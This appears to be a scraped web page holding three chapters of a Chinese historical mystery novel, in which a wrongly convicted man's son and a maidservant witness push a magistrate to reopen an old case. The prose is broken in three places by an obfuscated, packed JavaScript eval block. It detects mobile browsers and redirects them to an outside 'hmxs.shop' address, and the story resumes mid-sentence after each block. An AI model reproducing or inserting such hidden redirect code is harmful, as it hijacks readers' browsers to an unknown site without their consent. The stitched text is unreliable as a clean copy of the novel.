;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999196|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。这好风水也要挑人，得看你有没有那个福分。也得这大贵之人，方才镇得住！” 这一说，周围人不由说起挑地皮、建宅子的诸般讲究，谁家因为安宅置地，碰到什么奇遇，越扯越远了。 几个小年轻对买地皮、宅子还没兴趣，倒是对那小姐的兴趣不减，又问老者：“老人家，您见多识广，给我们说说，那霍家到底是犯了什么事啊？” 老者正要开口，只听旁边有个声音一字一顿地道，“强/奸/幼/女。” 转头一看，是个青年。 正是邀月楼的贾四。 “瞎说！胡编也得有点谱！”人群里立马有人反驳道。 “这数十人中，可有那霍家小姐的亲祖父、亲爹、亲叔伯，怎么可能是强/奸？天下哪有这等荒唐事？” 一个书生模样的凑过头来，敲着手中折扇道：“那可是要处死的大罪！那些人都处死了吗？” 老者摇摇头：“好像不曾，只那霍家有几人被判了死，其他的大多是流徙边地，还有徒刑几年的。” “这就是了！”那书生看着那青年道，“照这位……兄台所言，不只是强/奸/幼/女，还是亲属相/奸，那就该判绞刑。既然这些人多是流徙徒刑，便证明不是！” “你道为何？”那青年笑道，“因为那霍家父母，收受了这些人的银钱。” 旁边的人都没听懂，那书生却明白了，惊道：“收了银钱，就成了……逼良为娼，按律只杖刑一百，徒三年。” 那青年道：“就因为这，只有那几个亲属直接判了死，其他人等，只得按逼良为娼，从重判。” 周围人见那书生脸上还在震惊，不由信了几分。 小年轻问那青年：“你如何知道这么清楚？” 那青年瞟了他一眼，神神秘秘地笑道：“这世上就没有不透风的墙。” 那中年人却疑道：“第二年，衙门案牍库就起了火，将早些年的案卷都烧了。你又是如何得知？” “你怎么知道案卷被烧了？”那青年转头看他。 中年人捋了捋胡子，笑道：“不瞒你说，我是个说书人，最喜欢走街串巷，四处找这些地方秘辛。这霍家案便是绥陵城最大的悬案之一，我自然想找，可一直……没找着。” 那青年点点头，继续道：“这案子奇的地方多了，就说这刘宝的父亲刘顺，自称从未接触过霍家小姐，都不知道为什么，就指证到他头上了。而那刘顺当年被下狱之后，刘家为了捞他，花尽了家财，也因此日渐败落。” 那书生反应慢了几分，这会儿才拍了拍手，喃喃道：“这手段着实奇诡，天下竟还有这等奇事！” 那青年扫了他一眼：“这霍家案之惊人，一是涉案人数之多，二是行径之恶劣，三便是这手段之奇诡。” 那几个小年轻中还是有人不信：“这也太……你瞎编的吧。” 青年笑问：“若非这样的丑闻，衙门为何瞒着？如何不公告天下？” 周围人不由面面相觑。是啊，即便是谋反大案，也断没有藏着掖着的道理。 那青年抱着手，抬手指了指上面的刘宝道：“若非有冤，这刘宝何苦搭上自己的命，不依不饶地盯上那曾家？他差点死了，侥幸活下来，为何还要回来？” 那中年说书人想起了什么，惊道：“当时办这霍家案子的，正是曾大人。” 小年轻接过话道：“他杀曾大人，便是为了报仇雪恨？” “嫌犯、嫌犯！没定罪呢，什么就杀人了？”那青年纠正道。 中年说书人道：“我听说，当年那曾大人是拯救那霍家小姐于水火？” 青年道：“岂知不是利用那霍家小姐年幼无知，坑害霍家满门呢？哪里有亲叔伯父祖干这种事的？” 小年轻嗤笑道：“林子大了什么鸟都有，坏人就不会当爹，就不会老了？” 路人哼道：“你们这些年轻人，听风就是雨！” 小年轻愤而怼道：“你们这些老顽固。” “你岂知不是诬告？人这不就回来伸冤了吗？” 两边一句接一句地，竟吵了起来。 那青年转眼就不见了。而那白面书生也走到了一旁的茶楼，冲一个戴帷帽的女子一揖。 女子揭下帷帽，正是孟珂。 而那书生打扮的，正是用男声说话的五儿。 100. 升堂 死在狱中的刘宝活了过来，还在衙门击鼓鸣冤、替父翻案的消息，很快便传遍了绥陵的大街小巷，自然也传进了思园。 “没死？！怎么可能？”梁夫人突地站起来。 当初到底是什么人救的他，这时候现身对她发难，又所谋为何？她急道：“立刻去查，他什么时候回的，什么人把他弄回来的。” 底下人迟疑道：“小的还发现，有人藏在人群里暗放消息，煽动人心，似乎对内情……知之甚多。” “是谁，还不快说！” “就是那邀月楼的跑腿，贾四。” 梁夫人和孙嬷嬷相视一眼，并不知道这是谁。 只孙九爷觉得这名字仿佛在哪听过，突然想起来：“梁云钦邀月楼的那个相好苏姒，她有个跑腿好像就叫贾四！” “梁云钦！又是梁云钦！他果真是要同我们鱼死网破。”梁夫人怒道。 “他如今自身都难保，就是推出这刘宝……又能掀起什么风浪？” 孙九爷道，“他爹刘顺当年都束手无策，他如今还能如何？若他当真能掀起什么风浪，当初在牢里的时候不就掀起来了。我看啊，他就是一时不忿，回来找事的。” “一个刘宝是不足为惧，可他背后的人呢？” 梁夫人边思索边道，“这背后之人真的只有梁云钦吗？这人能从鬼门关救出他，神不知鬼不觉地藏这么久，又偏偏在这个时候重提此案，其后必有蹊跷。” 孙九爷疑惑道：“背后之人不只梁云钦？” “我总觉得没那么简单。”梁夫人站了起来，看向外面，心道，这件事也同孟珂有关吗？他们手中会有什么呢？ 此时，孟珂正坐在茶楼二楼的窗下，看着衙门口挤挤挨挨的人。 幸好霍家案当年没有对外宣告。若是当年就传了出来，大家也都相信了，如今反而麻烦。不管拿到多少实证，人们总还是会记得一开始那个爆炸性的消息，难以逆转心头的印象。 五儿也想到这一节，疑惑道：“小姐为何不直接说这是个冤案呢，为何还要提当年诬告之言？” 孟珂看着她道：“这终究是翻案，不是辟谣，得竖起一个靶子，才能有的放矢。这是翻案必须造的势。咱们现在主动爆破，一开始就流出了两种不同的说法，那便不会形成一个唯一的定论。” 她顿了顿，又道，“再者，两边吵得越厉害，关注这事的人越多，越利于翻案，而人们对义庄案的注意力，也越快被分散。” 要不了几天，众人就只会讨论这最新的、最有嚼头的事，忘了那些沉重的坏事。需要避免坏事的发生，也需要大家提起戒心，但是不可太过放大，甚至被有心之人利用。该做的事做了，如今尽量让这事平稳过去，对大家都好。 回雪却看出孟珂还是有些恹恹的，宽慰道：“小姐不必挂怀，人性本就如此，咱们虽则是在利用，但为的是行好事。” 孟珂点了点头，笑道：“是啊，如此为之，朝廷不恼，百姓不乱，而他……也不受其害。” 终究是她牵连了他，既然无法避免，就尽量不要给他造成不好的影响吧。 瞧外头的人聚得够多了，消息也传到该传的人那儿去了，她冲外面隐蔽之处微微点了点头。 衙门里，洗墨随即转身入内，冲里面的周冶点了点头。 “把人叫进来，升堂。”周冶放下茶盏，起身朝外走去。 *** 刘宝被官差叫了进去。 围观的人也跟着往院子里涌，官差并未阻拦。 到了堂上，只见刘宝从怀中掏出一份状纸，恭敬呈上：“草民刘宝，状告霍茹蕙诬告我父刘顺，栽赃陷害数十人，致数十人妻离子散，亲人阴阳相隔！” 涤砚接过状纸，递了上去。 刘宝朗声道：“如状纸所诉，当年霍家之案证据不足，且案情之中颇多蹊跷。还望大人主持公道，重查重审，还我父清白！” 周冶看完，从状纸上抬起头来，看向堂下之人，沉声问道：“刘宝，事发之时你尚年幼，且并非当事之人，如何知晓此案详情？翻案不能凭一面之辞，你可有证人、证据？若空口无凭，莫怪本官不接，还要治你一个诬告之罪。” 刘宝下拜道：“草民当年虽尚年幼，但已经晓事，后来更是多方查证此案，也有幸找到了知晓当年之事的证人。” “证人？” 门外围观的人中，那中年说书人顿时兴奋起来，“我竟真能眼见此案反转！我就知道这案子有蹊跷！” “你就在这马后炮吧！”旁人有人嗤道。 “那霍家小姐可是受了常人难耐之罪！这么大的事还能有假？” “难道还是那曾怀义弄虚作假，构陷别人？” 那几个小年轻也还在，面面相觑了一回，又四下去看，想寻方才那个什么都知道的青年，可哪里还有人在，不由疑惑道，“人呢，这会儿怎么倒不在了！” 老者倒是见得多了，仍一脸泰然，扫了几个小年轻一眼，耐心看了下去。 堂上，周冶问道：“你所说的证人是谁，可能传唤到场？” 刘宝回禀道：“正是当初主办此案的曾怀义……” 话没说完，底下的惊呼之声便起了，刘宝也被引得往外看了一眼，才回过头来继续道，“正是曾家邵夫人的陪嫁嬷嬷，许莲生。” 衙门口顿时一片哗然。 “曾家邵夫人的陪嫁嬷嬷！”中年说书人搓了搓手，兴奋道，“这贴身之人，知道的最多了！” 刘宝继续道：“小的当日去曾家送威胁信，便曾撞见这许嬷嬷。我本以为她要告发我，谁料她竟知道我是谁，还……放我走了。” 刘宝抬起头，“大人，她知道我并未杀曾怀义，也未对邵夫人动手。她也知道，我父亲是冤枉的。” “这么说，这两个案子都与这许莲生有关。既如此，”周冶扫了堂下一眼，略一沉吟，抽出令牌道，“传许莲生！” *** 思园里，孙嬷嬷担心地对梁夫人道：“这事真闹起来，曾家那边会不会……” “曾家为何要与我为敌？”梁夫人扫了她一眼，“别的事倒也说不准，可在这件事上，曾家的人敢吱声？不怕自己吃不了兜着走！” 话音未落，底下人从衙门传回话来。 “许……许莲生？”孙九爷和孙嬷嬷齐齐看向了梁夫人。 两人都没敢说话，梁夫人却清楚他们那没说出的话——这邵夫人不敢吱声，她身边的人却未必了。 这许莲生的儿子新死，高升也借给儿子送葬之机逃了，曾府也没什么能拿捏她的东西了。如今全看她对邵夫人的忠心有几分。 她心里不由也打起了鼓，这刘宝背后既然有人，不传别人，偏偏让传许莲生，想必已经暗地里拿下了此人。 孙九爷却想到了另一层，不由道：“此事，不会是高升在背后指使吧？难道他和梁云钦勾结上了？” 梁夫人看向他，抬手扶上了额头。 底下人已经查出，刘宝是前夜入的城，正是邀月阁的人去接的。而散布消息又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999197|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是邀月阁的贾四。梁云钦是怎么也脱不了干系。可高升呢？ 衙门追捕了高升这些日子，也始终没消息。他没准儿也同孙九爷一样躲在哪里，压根儿就没有离开绥陵。可他为何这么做呢？ 梁夫人抬头看向孙九爷，不解道：“咱们与他终究没翻脸。他对那曾怀义的旧主之情，犯得着搭上自己性命，留在此地翻这个案子，就跟我们过不去？再说了，捅破此案，曾家哪里能得了好？” 孙九爷看了她一眼，却心虚地挪开了，清了清嗓子吩咐道：“立刻派人去找这许嬷嬷，不管用什么手段，务必要让她把嘴给我闭紧了！” 梁夫人问：“那刘宝人呢？” 底下人回道：“进了衙门就没再出来。等着传孙嬷嬷呢。” 孙九爷知道她没说出的话，补充道：“也盯死了，一旦出来，就把人给我摁住了。” 他转头看了梁夫人一眼，“这次要活的！” 梁夫人也转头看他：“我要去一趟曾府。” *** 曾府，邵夫人的院子。正值夫人小憩的时候，院子上下关门闭户，四处都安安静静的。 突有下人飞奔而至，通报说，衙门的官差来了，要传许嬷嬷去回话。 大丫头檀云忙进去通报，邵夫人闻声从帘后走出来，脸都白了。不待她反应，便听得外间已经有一队人马，到了院中。 “不知周大人传我家仆妇，所为何事？”邵夫人推门出去，站定了道。 曾怀义虽死，但邵夫人终究还是官员遗孀。侍剑冲她一拱手，礼貌道：“我家大人有话要问。还请夫人叫她出来，随我回衙门复命。” 邵夫人细声道：“大人要传她，总要让我知道所为何事吧。” 侍剑冷冷地道：“夫人若不放心，也可与她同去。” 邵夫人被噎了一下，一时无言以对。 侍剑没耐心等，直言道：“夫人不请人出来，我们便只好自己去搜了。” “不……不可！”邵夫人张开双臂，随即又察觉自己似乎太过紧张，笑了笑，僵硬地收回手来，“因为许嬷嬷她……现下并不在府中。再者说，这内眷住所，各位进去搜检，着实不便。” 侍剑瞧她目光闪烁，努力镇定实则害怕的样子，反而不信了，吊起眼睛狐疑地看她。 邵夫人扫了众官差一眼，警惕地僵笑道：“她真的不在，前些日子刚处理完儿子的丧事，伤心过度，病了。我怜她辛劳，便让她在家歇几天。是故，她这几日都不在府中，不信，问问这院子里的人，可见着她？” 说着，转头唤小丫头道，“长明！你带差爷们去许家找找。” 侍剑也抬手唤过一个人来：“你带两个人，去许家看看。” 说着，冲剩下的人道，“我们便在此等候。” 邵夫人见此一顿，却也不好再说什么，只得道：“那……劳各位在此暂候。我这就......给各位备些茶果，歇歇。” 说着，转身便入内去了。 一进门，邵夫人便低声对檀云道：“坏了！你立马叫人从后门出去，务必赶在衙门的人到之前，给她递一句话，就说我什么都答应她，让她好好回衙门的话。” 檀云转身去了，邵夫人走进了内室，帘后立刻走出一个人来。 邵夫人又吓了一跳，看了那人一眼，抚着胸口道：“衙门把莲生带去，指不定能问出什么。绥陵如今围得铁桶一样，你这也出不去。可不走……也不是个办法。” 正说着，门“砰”一声被推开了。 101. 莲生 邵夫人被吓得一缩，转头见是曾铭，松了口气：“你干什么！” 曾铭扫了高升一眼，咬牙道：“是我该问，母亲你在干什么？你窝藏这个逃犯，意欲何为？” 邵夫人惊魂未定，拍着胸口，斥曾铭道：“你小声点，要嚷得所有人都听见吗？” 曾铭瞥着高升，冷笑道：“你还留在这儿，是等着我把外面的官差叫进来吗？” 高升脖子一缩，看了邵夫人一眼，下去了。 看着他走了，曾铭又问：“你为何要窝藏高升？” “你莫管，我自有我的道理！”邵夫人这一吓不轻，此刻仍心有余悸，见檀云进来回话，忙抬手招过来，压低声音吩咐道，“你且去门口守着，千万别再让人突然闯进来。” 檀云应声退下，邵夫人这才放了些心，但脑子仍是懵乱的。 曾铭一刻也不让她喘息，朝院子里的方向看了一眼：“母亲知道刘宝上告了吧？” 邵夫人眉头皱了起来。她这日照例做完早课便休息了，许嬷嬷不在，其他人等闲不敢打扰，因而并未听说刘宝在衙门鸣冤之事。 等她知道的时候，官差已经来了。她本以为官差是来搜高升的，没想到是来找许莲生的，更没想到找许莲生竟是为了霍家案。 她心里犯起了嘀咕，为何死了的刘宝又出来了，而那霍家陈年旧案还能被翻出来。可她一时倒也说不上，到底为着哪件事来找麻烦算好一点。 见母亲不应声，曾铭又问：“霍家案要重审，母亲预备怎么做？他们为何直接找上了许嬷嬷？” 那头，长明带着官差到了许家，却见人去屋空，再问周围邻居，说是多日不曾见许莲生了。 一行人回了曾府禀报。侍剑又问：“夫人，这许嬷嬷人到底去哪儿了？” 邵夫人似乎也意外，无奈道：“我……我也不知道啊。她能上哪儿去呢？她随我来绥陵，在我府上数十年，并没有别的亲人，也不曾有什么朋友。她……不会出什么事了吧？” 该说什么话，来之前，周冶都教了。侍剑学着公子的模样，顿了顿，才慢慢掀起眼皮扫了邵夫人一眼，盯得她头皮发麻的样子，才笑着慢慢道：“对呀，她不会出什么事了吧？她前脚刚被衙门传唤，后脚就失踪了。夫人自己也说了，她别无他处可去。这人能去哪儿呢？” “你这是什么意思？”邵夫人道，“我让她失踪的？” “我什么都没说。”见邵夫人面有惊惧之色，侍剑吊着嗓子笑道，“只是，这刘宝和刘顺父子俩涉及的案子，可都跟你曾府脱不了干系，若是许嬷嬷出了什么事，你曾府就是头一个被怀疑的。” “这话可不能乱说！”邵夫人顿了顿脚，随即也焦急了起来，绞着手，喃喃道，“这人到底能去哪儿呢！” 绞着绞着，想起了什么，猛地抬起头问道，“有个地方你们可去看过？” 侍剑一看她，顿时想起了什么，两人异口同声道：“高仲坟前！” 话音未落，侍剑的耳朵一动，屋脊上有几个黑影轻轻跳了下去。他往那个方向看了一眼，微微一笑，这路人暗中从曾府跟到了许家，又一路跟回了曾府，这会儿又窜到前头去了。 孟小姐也嘱咐了，他上曾家要尽量拖时间，吊着那些黑衣人，还要顺带试一试邵夫人，也警告警告她，莫要对许嬷嬷出手。 看着时候也差不多了，侍剑一挥手道：“走！” 这才带着人，也往城外去了。 *** 高仲坟前，许莲生正坐在一块大石头上，微微抬头，充满爱怜地看着墓碑。 她含笑道：“仲儿，这一世是为娘对不住你。我生在一个穷苦人家，小小年纪便被卖作奴才。主人瞧我听话、懂事，干活卖力，这才选成了小姐的贴身丫头；伺候好了小姐，才又随着小姐做了陪嫁丫头，一路熬成了主母的陪嫁嬷嬷。” “这辈子，我不敢行差踏错，可我还是、一直都无能为力，还是……永远没得选。我没法给自己选出身，也没法给自己选主人，更没法给自己选夫君。” “但我最难过的，还是没能给你，选个靠谱的父亲！我没能顶住主子的压力，给你一个好的家，让你好好长大。” 她眼中闪烁起泪花，声音微微颤抖，“是我无能，是我对不住你！你本是个好孩子，本来可以长成个好孩子，却生生地让他们毁了！” 周围渐渐响起了细密的脚步声，有人从几面围了上来。 许莲生听见了，却头都没转一下。她摸着手上的金镯，吸了吸鼻子，面带凄笑地道：“下辈子，若可以重来，我会再努力一点。只是，你我母子今世缘尽，也不知来生可还能再会。” 说完，她脸上浮出淡淡的、满意的笑来，分明有种解脱的轻松。 “这兴许是娘最后一次来看你了。你泉下有知，可千万要记得娘的样子！黄泉路上，来世、下下世，也要认出为娘才是，让为娘补偿补偿你。” 几个黑衣人包抄而上，举着刀向她冲了上去。许莲生一动不动，慢慢闭上了眼睛。 眼看明晃晃的刀刃离她越来越近，一把匕首倏地飞至，将几把大刀打得哐当几声，偏移了许莲生的身子。 黑衣人转头一看，见是个蒙面女子。 “只一个丫头片子！”黑衣人四下一看，嗤笑道。 口中虽不屑，却几个人一对眼，便提刀围攻了上去。 身后厮杀声起，许莲生意外地睁开眼，转头看去，一眼便认出了那蒙面女子的眼睛，正是那日在义庄将金镯还给她的人。 雨歇在刀风中转头，对她喝道：“快走！” 许莲生感激地看着雨歇，讷讷地点了点头，又后知后觉道：“姑娘小心！” 说完，转身下了高岗，朝着城池而去。 “那许莲生会来吗？” “都这时候了，不会来了吧。” 夕阳已经西下，好些无所事事的闲人还在衙门等着。那中年说书人也牢牢守在此处，不愿错过这案子的哪怕一幕。 百无聊赖的人们甚至开了赌局，一赌许莲生今日会不会现身，二赌这刘宝是会因诬告而被投入大牢，还是如愿替父伸冤；三赌那霍家案会不会立案重审。 几个小年轻也去下了几个铜板的注，便一直等到了这会儿，也跟那说书人凑一处闲聊。 “这事可涉及她的主家，就算许莲生来了，能说实话吗？” 说书人见多识广地嗤道：“出卖主家的奴才还少吗？卖主求荣这话怎么来的？” 眼看着太阳一点点下落，又一些人散了，只那些下注的人，非得等着最后一缕阳光落下，好定输赢。 就在那最后一缕霞光，即将被黑暗吞没之际，一个长长的影子斜照到了衙门的大门口。 “来了！”有人惊道。 所有人都抬头去看，只见侍剑带着一队人，分开了门口三三两两的围观者。中间护着个衣着简素的妇人，在众目睽睽之下，慢慢走了进来。 “赢了！赢了！我赌赢了！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999198|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一小年轻兴奋地叫道。 “血！”有那眼尖的突然惊道，“这嬷嬷身上有血，好多血！” 许莲生顿住了脚步，却并没有去看那惊呼之人，而是往身后看了一眼。 落日融金，她身后的道路、街巷和远处的山峦，全都被铺洒成了统一的金色。而那金色的巷道里、郊野中、山坡上，洒下了一路鲜血。 她活了大半辈子，这大概算是最惊心动魄的一日了。 可她竟莫名地有些兴奋，对着金色的人群扫视了一圈，看不清那些人的面容，但她知道，在官差身后重新合龙的人群里，有个年轻的姑娘。若有下辈子，她也想当个这样飒爽的姑娘，能保护自己，还能护着旁人。 她冲着人群微微颔首一笑，转身进去了。 雨歇在人群里望着许莲生，知道她是冲自己致谢，也知道她看不见，但也冲她笑了笑。 看着许莲生在夕阳中回望的身影，她陡然想到了姐姐回雪，也突地明白，为何回雪从不以自己当了能管家的大丫鬟为傲，也不向往日后能得主子恩典，跟着飞黄腾达的日子，又为何对小姐如此忠心。 说到底，她们这样的人，命运并不掌握在自己手里。姐姐如今的好，在于她的能干，她的忠心，可还有个更大的前提，便是跟了个好的主子。不然，她的未来也只是另一个许嬷嬷。 她的目光不由看进了衙门里，小姐既能对许莲生伸手，姐姐以后自也不必担心。想到此，她笑了笑，从人群后绕去了衙门无人的外墙，轻轻跳了进去。 *** 早有眼尖的人进去通报，周冶重新升了堂，堂上多了一架屏风，后面坐了好几个人，却看不清都是谁。 许莲生被唤上堂去的时候，刘宝已经在堂上候着。她淡淡地扫了他一眼，目光中也看不出什么。 周冶闻到了她身上的血腥气，问道：“许莲生，你可有受伤，可需传大夫看看？” “谢大人，老身无事，可以回话，”许莲生道，“大人问便是。” “莲生！” 这时，一声大叫从衙门外传来。 一个单薄的妇人身影，随即从水流一样自动分开的人群中，疾步走来。 “邵夫人！”在场不少人都认得她。 许莲生转头看向邵夫人，似乎并不意外。 “周大人！”邵夫人上了堂，笑道，“听说大人今日问的是亡夫之案，又传了我的贴身嬷嬷来，老身想着，大人只怕有话要问，是故特地来此。” 毕竟是官眷，仍需礼遇，周冶笑道：“那还要感谢夫人美意了。” “大人客气！” 邵夫人转头就抓着许莲生的手，一脸焦急地看着她道：“莲生，你没事吧？方才官差上府中传你，我让人去家中寻你，竟遍寻不见，可把我担心坏了！生怕你一时想不开，做出什么傻事来。” 这一说，她眼中便闪起了莹莹泪光，抬手擦了擦，才转头看向周冶，请罪道：“大人莫怪！莲生自我在闺中就伺候我，我们二人相伴三十余载，不是姐妹却胜似姐妹。她新近失子，我也丧夫丧子，姐妹情深，又同命相怜，不免也更心疼她些。” 许莲生被她抓着的手挣了挣，邵夫人觉着了，转头看着她，目光中本是怜惜和心疼，却又有分明的暗示。 “如今只你我二人相依为命，你凡有所请，我没有……没有什么不允的；你凡有所愿，我也没有不成全的。你我相伴半生，也要一起到老才是，你可千万别想不开，别丢下我一人！” 102. 自由 许莲生用力挣开了邵夫人的手，对她一礼，恭敬道：“谢夫人美意，不过，如今我孑然一身，一无所请，也一无所愿。” 她嘴角浮出一丝笑意，抬眸看向邵夫人，“莲生命薄，得伺候夫人半生，已是幸运，不敢奢望更多。” 邵夫人的脸顿时僵住了，抬眼看着她这一丝笑意，陡然回到了那一日。 “你天生命薄，得伺候我半生，已是幸运，怎么还有如此悖逆之想？果真是命薄之人担不住福气，再生奢望，反招祸患。” 那日，许莲生从义庄回去，照例去见邵夫人回话。 邵夫人正手捻那串佛珠，做着晚课，她便安静地候在一旁。 邵夫人念完睁开眼，将佛珠一收，看向她，叹道：“回来了？我今日也替你家仲儿念了往生咒，他定会往生极乐。” “谢夫人！”许莲生跪下道。 “你这是做什么！”邵夫人笑道，“哪里就需要这样大礼。” 许莲生却不起：“夫人，是莲生有事相求。” 邵夫人惊得张了张嘴，她跟了自己半辈子，一向无欲无求，从不曾求过她什么，于是道：“你起来说，凡能做到的，我自然无不应允。” 许莲生抬眼看着她，眼神坚定：“莲生自十一岁卖入邵家，至今三十多年了，从未求过夫人什么。这次，求夫人千万成全。” 许莲生顿了顿，咬牙道，“夫人，请准我与那高升和离。” 说完便拜倒在地，手上的金镯在地上磕出一声脆响，她不由扫了它一眼。 自从在那姑娘手中接过这金镯，她便觉得手上、心上都沉甸甸的，心口一直塞着好多个如果。 如果当初把她指给高升的时候，她反抗过，会不会有什么不一样？如果她看到仲儿那个好好的孩子被带歪的时候，能带着他离开，会不会不一样？ 也许什么也改变不了，可她至少不会像如今这样，困在没做的懊悔中，被那些如果磋磨。 邵夫人看着她，手中又捋着佛珠，半晌没开口。 许莲生继续道：“夫人也知道，当日他向老爷求娶之时，我是千个万个不愿意。可架不住老爷宠信他，还是将我赏了他。我知道，老爷决定的事，夫人也没办法，也不曾为难夫人。如今老爷已经不在了，夫人大可以做主，莲生这才斗胆求夫人开恩。” 邵夫人站起身来，原地打着转道：“这……这……都说，宁毁十座庙不毁一门亲。我是修佛之人，怎么能……拆散你们呢。再说了，如今你家仲儿又不在了，就剩你们二人。正是老来伴的时候，哪里还有散伙的道理？” 许莲生从地上抬起了脸，看着邵夫人，眼神直勾勾的。 夫人是什么样的人，她哪里不知道？当初老爷也好，如今的夫人也好，厚待高升，不只为他多能干，多不可或缺——更因为他知道曾家太多隐秘之事。而她和高仲，就是赏赐、收买这条老狗的那根骨头，这根骨头的死活谁会管呢？ 邵夫人对上她的眼神，当即闪了：“等你以后老了，病了，需要人端茶倒水、喂药擦身的时候，自会感谢我的。” 许莲生长长地抽了一口气，笑了，如果那个酒鬼没有把她打死，那也是她给他端茶倒水、喂药擦身。 “你今日也累了，不用在这里伺候了，家去歇着吧。”邵夫人打发道。 许莲生起身退下去了，刚跨出门口，就听邵夫人在身后叫她。 “莲生，你别怨我，我这都是为你好！” 许莲生的身子顿了顿，没转过身，脸上徐徐绽开一朵冰花似的笑来，淡淡地道：“莲生不敢。” 说罢，提步而去。 那一刻，看着那个步步远去的背影，邵夫人陡然觉得，好像有什么不一样了。 是的，那一刻起，她就不是那个只会对她说“好”、应“是”的许莲生了。 不过一件事没应她罢了，就敢背叛她，邵夫人心中愤愤，当真是升米恩斗米仇，看来是平日对她太好了，纵得她心高了！ 她一直以为这是只不会咬人的狗，谁知道咬人的狗不叫，到她最艰难之时来反咬一口。 可怒归怒，此刻在这公堂之上，她也不得不强压下去，挤出笑道：“莲生，我们之间有些误会。” “你也知道的，我丧夫丧子，痛彻心扉，这些日子以来性情大变，有时候说话也不过脑子，但都不是有心的。你可不能往心里去。你同我说的话，我都放在心上呢，就是跟你别扭别扭。” “是吗？”许莲生抬眼看着她，淡淡地道。 *** 邵夫人知道，这人已经拉不回来了。如今的许莲生已经一无所有，可也无所畏惧了。 她想放弃了，可一转头便扫见围观人群中一个熟悉的身影，想放弃的冲动又下去了。官差前脚刚走，这人就进了曾府后门。 “今日，许莲生若还有命踏进县衙，你无论如何都要拦住她。” “要是拦不住呢？”邵夫人道，“你们都拦不住，我能……” “拦不下来，你这曾府自然是保不住了，至于你，”梁夫人上下打量着她，笑道，“你可是主谋，还当堂做了伪证的，会有什么后果，不需要我再提醒吧？拦下她，可不是为我，而是为了你自己。” 邵夫人道：“就算有那刘宝，还有莲生的证词，这案子也翻不了。老爷当初把案卷、证据全都处理了。连案卷、证据都没有，当初定案的东西都不在，他要如何推翻？” “案卷？”梁夫人冷笑一声，“那周大人手里可有案卷了。” “有案卷？怎么会，老爷他明明……”邵夫人跌坐在了榻上。 梁夫人：“你再与我在此耽搁，便也不必去拦了，坐等衙门来抄家便是。” 想到此，邵夫人深吸了一口气，强笑道：“莲生，你的事我一直放在心上。我是有难处的，等回府我慢慢说与你听。” 说着，又去抓许莲生的手臂，却觉得手心湿漉漉的，抬起来一看，竟是一手的血。 她吓了一跳，顺势道：“莲生！瞧你身上这血，你这是受伤了？” “无妨！”许莲生截口打断道。 她看了看自己身上的血，笑着看向邵夫人，大声道，“夫人意外什么？我身上的血都是哪儿来的，夫人你可比谁都清楚！” “你说什么呢！”邵夫人目光闪烁了起来，“我怎会知道。你就算没受伤，也必定受了惊吓，还是先回府歇息，改日再来。” 许莲生却并不应她，笑着转身看向门口，大声道：“今日我若是就这么踏出衙门，只怕就没命再踏进来了。” 此话一出，里里外外的人目光齐齐扫向了邵夫人。 “难道是杀人灭口！” “邵夫人怕她说出什么？” “这案子果真另有乾坤！” 许莲生往堂上看去，屏风后隐约露出了一角人影。她到高仲墓前的时候，那人便已经等在了那里。 孟珂并未言语，直接便递给她一样东西。 许莲生心中猜到那是什么，颤抖着手打开一看，果然是和离书。 邵夫人拒绝了她，后来，高升又借着儿子送葬之机逃走。她开始还心存幻想，想着他既然逃了，此生便不用再见此人，谁知回府就见他笑着看自己。她吓得冲出门去，一口气跑到了邀月阁后门的暗巷里。 雨歇那日告诉过她：“我家主人可以帮你。若有需要，可到邀月楼找贾四，他自会为你传话。” 她咬了咬唇，对着墙角阴影中的人道：“请你家主人 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孟珂道：“你自由了，接下来的路，你可以自己选择。到底是继续忠于邵夫人，忠于曾家，还是……给他们一点颜色看看，出了你心中那口，郁结了半辈子的气。” 临走之前，孟珂还对她说了句话，“今日去县衙的这条路，会是沾满鲜血的路。你若要走，需做好心理准备。” 她本是抱着不惜一死之心踏上这条路的。这一路走来，虽有惊吓甚至恐惧，可此刻站在邵夫人面前，她觉得了一种前所未有的强大，全然的无所畏惧，觉得那一路走来值得。 *** 许莲生往屏风后感激地看了一眼，转头又对堂上的周冶道：“大人，老身无碍，可以回话。” “既如此，便回话吧。”周冶问，“许莲生，刘宝称，他潜入曾府放威胁信的时候，被你撞破，但你认出了他，放他走了。可有此事？” “有。”许莲生道。 周冶继续问：“刘宝还称，你是因为知道他父亲刘顺当年在霍家案中含冤而死，故而放他走，可属实？” “属实。”许莲生想也没想，果断道。 “曾怀义命案与邵夫人自尽，可与刘宝有关？” 